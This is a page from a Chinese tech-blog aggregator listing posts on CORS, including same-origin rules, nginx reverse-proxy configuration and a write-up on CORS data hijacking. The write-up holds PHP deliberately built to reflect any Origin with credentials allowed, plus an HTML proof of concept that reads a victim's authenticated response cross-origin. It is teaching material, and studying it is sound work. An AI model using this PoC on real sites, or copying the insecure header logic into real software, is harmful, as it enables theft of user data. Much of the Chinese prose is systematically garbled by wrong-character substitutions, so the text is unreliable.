关于cors:一篇搞定面试中的跨域问题

什么是CORS(跨源资源共享)?CORS(Cross-Origin Resource Sharing)是一种机制,容许网页从不同的域拜访服务器上的资源。 在同源策略下,浏览器限度了跨域拜访,CORS容许服务器指定哪些源能够拜访其资源。 同源策略(Same-origin policy)同源策略在web利用平安模型中是一个重要的概念。在这个策略下,浏览器容许第一个网页中蕴含的脚本能够获取第二个网页的数据,前提是这两个网页在同一个源下。 同源:须要URI、主机名、端口都雷同。 这个策略能够避免一个网页上的歹意脚本通过DOM获取其余网页的敏感数据。 须要牢记的一点就是同源策略只利用于脚本,这意味着像images、css和其余动静加载的脚本 能够通过对应的标签跨域拜访资源。 是否同源的规定同源须要满足雷同的协定(scheme),雷同的主机名(host),雷同的端口号(port) Compared URLOutcome Reasonhttp://www.example.com/dir/page2.htmlSuccess Same scheme, host and porthttp://www.example.com/dir2/other.htmlSuccess Same scheme, host and porthttp://username:password@www.example.com/dir2/other.htmlSuccess Same scheme, host and porthttp://www.example.com:81/dir/other.htmlFailure Same scheme and host but different porthttps://www.example.com/dir/other.htmlFailure Different schemehttp://en.example.com/dir/other.htmlFailure Different hosthttp://example.com/dir/other.htmlFailure Different host (exact match required)http://v2.www.example.com/dir/other.htmlFailure Different host (exact match required)http://www.example.com:80/dir/other.htmlDepends Port explicit. Depends on implementation in browser.::: tipscheme: http https::: CORS存在的意义跨域资源共享(CORS) 是一种机制,它应用额定的 HTTP 头来通知浏览器 让运行在一个 origin (domain) 上的Web利用被准许拜访来自不同源服务器上的指定的资源。 出于安全性,浏览器限度脚本内发动的跨源HTTP申请。 例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着应用这些 API 的 Web 应用程序只能从加载应用程序的同一个域申请 HTTP 资源,除非响应报文蕴含了正确 CORS 响应头。 ...

February 16, 2024 · 2 min · jiezi

关于cors:深入了解CORS数据劫持漏洞

1.1. CORS介绍CORS(跨源资源共享)是一种用于在Web应用程序中解决跨域申请的机制。当一个Web应用程序在浏览器中向不同的域(源)发动跨域申请时,浏览器会执行同源策略,限度了跨域申请的默认行为。同源策略要求Web应用程序只能拜访与其自身源(协定、域名和端口)雷同的资源。 然而,在某些状况下,咱们心愿容许来自其余源的跨域申请,例如应用AJAX进行跨域数据拜访或在前端应用程序中嵌入来自不同域的资源(如字体、样式表或脚本)。这时就须要应用CORS来解决跨域申请的限度。 CORS通过在服务器端设置响应头来进行配置。当浏览器发动跨域申请时,服务器能够通过设置特定的CORS响应头来告知浏览器是否容许该申请。常见的CORS响应头包含以下几个: Access-Control-Allow-Origin:指定容许拜访该资源的源。能够是具体的源(如http://example.com)或通配符(*),示意容许来自任意源的拜访。Access-Control-Allow-Methods:指定容许的HTTP办法(如GET、POST、PUT等)。Access-Control-Allow-Headers:指定容许的申请头字段。Access-Control-Allow-Credentials:指定是否容许发送身份凭证(如cookies、HTTP认证等)。Access-Control-Max-Age:指定预检申请(OPTIONS)的有效期,以缩小对服务器的频繁申请。在前端代码中,如果要发送跨域申请,能够通过XMLHttpRequest对象或fetch API增加额定的申请头来批示浏览器发动CORS申请。浏览器会主动在发送申请时查看响应中的CORS头信息,并依据配置决定是否容许该申请。 具体可参考MDN DOC 1.2. 破绽介绍因为须要配置CORS响应头来告知浏览器是否容许该申请,所以如果配置不当,就可能导致攻击者通过歹意网站或代码执行跨域申请,从而获取或篡改用户的敏感数据(危害和CSRF相似,不过能够劫持返回的内容)。 1.3. 破绽复现1.3.1. 环境搭建实战过程中,次要是Origin可控以及Access-Control-Allow-Credentials设置为True,这样能力劫持到数据,简略的破绽复现环境如下: php代码,保留为index.php <?php$userInfo = array( 'username' => 'd4m1ts', 'phone' => '13888888888');$jsonResponse = json_encode($userInfo);// 查看是否存在Origin头if (isset($_SERVER['HTTP_ORIGIN'])) { // 设置Access-Control-Allow-Origin为申请中的Origin值 header('Access-Control-Allow-Origin: ' . $_SERVER['HTTP_ORIGIN']); // 设置Access-Control-Allow-Credentials为True header('Access-Control-Allow-Credentials: true');}// 查看是否设置了名为admin的Cookieif (isset($_COOKIE['admin'])) { header('Content-Type: application/json'); echo $jsonResponse;} else { echo "unauth";}?>繁难启动php web服务 php -S 127.0.0.1:99991.3.2. 复现过程间接关上会提醒unauth 依据代码,须要在Cookie中设置字段admin Note 浏览器默认SameSite是Lax,Lax的状况下无奈发送至第三方上下文中,所以须要设置一下,不然无奈劫持! document.cookie = "admin=1; SameSite=None"设置后刷新就能够拿到数据了,咱们假如这是敏感数据,后续即便对这个数据进行劫持。 假如http://internal.gm7.org:9999/是指标,测试过程中在申请数据包头增加Origin字段,察看响应包,发现Origin可控,且Access-Control-Allow-Credentials: true,还没有验证referer,就阐明能够劫持了。 编写POC如下: <!DOCTYPE html><html><body><div id="demo"><button type="button" onclick="cors()">Exploit</button></div><script>function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://internal.gm7.org:9999/", true); xhttp.withCredentials = true; xhttp.send();}</script></body></html>放到第三方网站上,可见胜利劫持 ...

May 17, 2023 · 1 min · jiezi

关于cors:无需CORS用nginx解决跨域问题轻松实现低代码开发的前后端分离

近年来,前后端拆散曾经成为中大型软件我的项目开发的最佳实际。 在技术层面,前后端拆散指在同一个Web零碎中,前端服务器和后端服务器采纳不同的技术栈,利用规范的WebAPI实现协同工作。这种前后端拆散的"混合开发"模式下,前后端通常会部署到不同的服务器上,即使部署在同一台机器,因为宿主程序(如后端用Tomcat,前端用nginx)不同,端口号也很难对立。 (图片起源网络) 这意味着位于A域(如https://foo:80/website) 的页面,须要调用B域的WebAPI(如https://bar:8080/webservice),这是一个典型的跨域拜访,浏览器默认会断定该操作有平安危险。如果不进行解决,则会回绝这次WebAPI调用,提醒对应的谬误。 (跨域申请导致的谬误) 当初如何该怎么解决跨域的问题呢?目前有4个支流技术计划: JSONP如果你须要解决的申请只有GET,能够思考JSONP。 JSONP的原理就是利用\&lt;script\&gt;标签没有跨域限度的特点,通过\&lt;script\&gt;标签src属性,发送带有callback参数的GET申请,服务端将接口返回数据拼凑到callback函数中,返回给浏览器,浏览器解析执行,从而前端拿到callback函数返回的数据。 (JSONP的调用流程) 这种做法很惯例,然而你须要为前端提供JSONP的响应,其余终端调用时提供不带JSONP的响应,因而会带来额定的开发和测试工作量。 iFrame通常状况下,前后端拆散带来的跨域拜访都局限在同一个主域的不同子域(如a.foo.com和b.foo.com)之间。所以,你能够利用iFrame加载位于被调用WebAPI所在域的页面,而后将两个页面的document.domain设置为主域名(如foo.com),就通过iFrame中的子页面申请WebAPI了。 (图片起源网络) 这种做法比拟麻烦,咱们须要为WebAPI配套开发起直达作用的页面,但对于开发者而言仍旧有很大的开发工作量。 CORS和前两种计划相比,CORS(跨域资源共享)是一个"一劳永逸"的计划。 咱们不须要为每个WebAPI做额定的解决,而是须要在后端程序启动时,减少一些解决工作。支流的后端服务都有解决CORS的类库,这里就不再做开展介绍了。 这个计划的外围原理,是在发动正式的申请前,先发送一个OPTIONS谓词的HTTP申请,询问发动申请的页面是否有调用该域服务的权限;如果后端说OK,浏览器就持续申请,否则提醒谬误。 应用这种计划的开发工作量小,如果间接应用成熟类库的话,开发和测试的工作量甚至能够忽略不计。不过,因为每个跨域的申请都会触发一次往外的OPTIONS申请,对服务器会造成额定的开销和压力。 反向代理反向代理机制,把前端的A域和后端的B域合并成一个C域,从根本上解决跨域问题。 这个计划仅需配置,对前后端的程序没有侵入;同时内网中的反向代理通常也不会带来额定的性能开销。 (图片起源网络) 总体来说在编码开发的时代,上述四种计划都有实用的利用场景,各有优缺点。进入低代码开发时代后,前后端拆散的利用面更广,如应用JavaScript编码开发前端、配合低代码构建的后端,或应用Java编码开发后端,供低代码构建的前端调用。 (低代码时代的前后端拆散,来自 低代码沙龙) 低代码开发的外围价值在于节俭开发投入,晋升开发效率,所以,计划1(JSONP)和计划2(iFrame)曾经很少被用到低代码混合开发畛域。相比于计划3(CORS),计划4(反向代理)因为性能开销较小,利用场景会更多一些。 上面,咱们将以活字格+nginx为例,介绍利用nginx解决跨域问题,实现前后端拆散的具体做法。 (反向代理的架构示意图) 利用nginx解决跨域问题开始配置之前,咱们应用活字格开发两个利用,仅蕴含前端页面的frontend和蕴含后端WebAPI(服务端命令)的backend,并将其别离公布到物理机或云主机上,利用的端口设置为8081和8080。咱们能够通过以下地址拜访这两个利用:后端:http://host\_name:8080/backend前端:http://host\_name\_2:8081/frontend装置nginx,并在配置文件/conf/nginx.conf中HTTP节点配置前后端的服务器,即upstream节点:upstream backend {server host\_name:8080;}upstream frontend {server host\_name\_2:8081;}在HTTP节点下的server节点,配置监听端口和转发策略,这样就能够将http://host\_name:8080/backend映射为http://proxy\_name:8000/backend ,http://host\_name\_2:8081/frontend 映射为http://proxy\_name:8000/frontendlisten 8000;server\_name proxy\_name;location /frontend {proxy\_pass http://frontend/frontend ;}location /backend {proxy\_pass http://backend/backend ;}上述操作后,用户拜访的域名对立成了http://proxy\_name:8000,跨域问题解决了。然而,不要焦急。活字格默认会启用Http Referer验证机制,不容许跨域调用内置服务。所以,你还须要关上前端利用所在的服务端的治理控制台http://host\_name\_2:22345/UserService/ManagementPage/WebSecurity在HTTP Referrer容许列表中增加nginx代理服务器的地址(也就是用户理论应用的地址,记得在前面加一个*号适配)。 配置实现后,你能够就能够在前端页面中通过【发送HTTP申请命令】,调用后端的WebAPI了。(在前端调用后端WebAPI并弹窗显示返回后果) 特地提醒:如果你须要将前端、后端和nginx部署在同一台机器上,能够将上述proxy\_name、host\_name、host\_name\_2对立替换为你的机器名或IP地址。 作为一款弱小的反向代理和Web服务器,nginx的用处十分宽泛,本文仅仅应用到了它的反向代理性能。除此之外对于负载平衡的解决nginx也有很优良的体现,在后续内容中咱们会为大家做更加深刻的介绍。 如需具体理解如何应用低代码开发前后端拆散的企业级利用,疾速转型全栈工程师,能够查看: https://gcdn.grapecity.com.cn/forum.php?mod=viewthread&tid=146511&extra=page%3D1%26filter%3Dtypeid%26typeid%3D272 除此之外如果你对更多低代码行业现状与发展趋势感兴趣能够查看: https://help.grapecity.com.cn...

July 15, 2022 · 1 min · jiezi

关于cors:跨域问题解决办法

什么是跨域?同源策略(Same-origin policy)同源策略在web利用平安模型中是一个重要的概念。在这个策略下,浏览器容许第一个网页中蕴含的脚本能够获取第二个网页的数据,前提是这两个网页在同一个源下。 同源:须要URI、主机名、端口都雷同。 这个策略能够避免一个网页上的歹意脚本通过DOM获取其余网页的敏感数据。 须要牢记的一点就是同源策略只利用于脚本,这意味着像images、css和其余动静加载的脚本 能够通过对应的标签跨域拜访资源。 CORS跨域资源共享 Cross-origin resource sharing (CORS) 是一种机制,它应用额定的 HTTP 头来通知浏览器 让运行在一个 origin (domain) 上的Web利用被准许拜访来自不同源服务器上的指定的资源。 CORS存在的意义出于安全性,浏览器限度脚本内发动的跨源HTTP申请。 例如,XMLHttpRequest 和 Fetch API 遵循同源策略。这意味着应用这些 API 的 Web 应用程序只能从加载应用程序的同一个域申请 HTTP 资源,除非响应报文蕴含了正确 CORS 响应头。 跨源域资源共享(CORS)机制容许 Web 应用服务器进行跨源访问控制,从而使跨源数据传输得以平安进行。 理解了下面的内容,咱们解决浏览器控制台的跨域问题,个别有两个方向: 后端服务设置容许跨域拜访前端通过代理拜访资源服务端用 Node.js 的一个框架 koa 来举例,解决跨域应用 koa-cors 非常简单,如下: var koa = require('koa');var route = require('koa-route');var cors = require('koa-cors');var app = koa();app.use(cors());app.use(route.get('/', function() { this.body = { msg: 'Hello World!' };}));app.listen(3000);这个中间件大略做了这样的事件: module.exports = () => { return async function(ctx, next) { ctx.set('Content-Type', 'application/json'); ctx.set('Access-Control-Allow-Origin', '*'); ctx.set('Access-Control-Allow-Methods', 'GET, POST, PATCH, DELETE, PUT'); ctx.set('Access-Control-Allow-Headers', 'X-Requested-With, content-type, X-Authorization, X-uuid'); ctx.json = json.bind(ctx); ctx.halt = halt.bind(ctx); try { await next(); } catch (e) { return ctx.halt(e.code, e.message); } };};这样前端收到的响应会是上面的样子: ...

June 6, 2022 · 1 min · jiezi

关于cors:跨域资源共享CORS是什么

一、CORS 是什么?出于平安起因,浏览器会限度脚本发动的跨域 HTTP 申请,除非服务器批准拜访。譬如服务器对预检申请的响应 Header 中有 Access-Control-Allow-Origin: *,那么跨域申请即可正确拜访。 二、危害举例如果歹意网页中含有这样的脚本代码 fetch("example.com"),而你曾经登录了 example.com 网站还没有退出,如果此时没有 CORS 限度,那么歹意网页中的脚本代码就会顺利通过服务器执行,您的大量个人信息会被泄露。 三、预检申请是什么?为了防止跨域申请对服务器的数据产生不可知的影响,浏览器会用 OPTIONS 办法,先发送一个预检申请(preflight request),待服务器确认能够拜访后,再发送理论申请。 上面这个 POST 申请,就会先发送预感申请,能够在控制台的网络连接中查看具体连贯和信息。 var invocation = new XMLHttpRequest();var url = 'http://bar.other/resources/post-here/';var body = '<?xml version="1.0"?><person><name>Arun</name></person>';function callOtherDomain() { if (invocation) { invocation.open('POST', url, true); invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); invocation.setRequestHeader('Content-Type', 'application/xml'); invocation.onreadystatechange = handler; invocation.send(body); }}四、怎么用 CORS?CORS 的工作次要在服务端,通过返回不同的 Header 来告知请求者,是否能够拜访?上面两个局部列出了 CORS 所有用到的 Header 及其含意。 1、其余应用场景CORS 能够配合 token 来避免 CSRF 攻打。详情,看这里! 五、客户端跨域申请跨域申请用到如下 Header ,毋庸手动设置,浏览器会主动设置。 1、origin预检申请和理论申请中的源站名称,不蕴含任何门路信息,只是服务器名称。 Origin: <origin>2、Access-Control-Request-Method用于预检申请,通知服务器,理论申请 应用什么办法:post、get 等。 ...

November 24, 2021 · 1 min · jiezi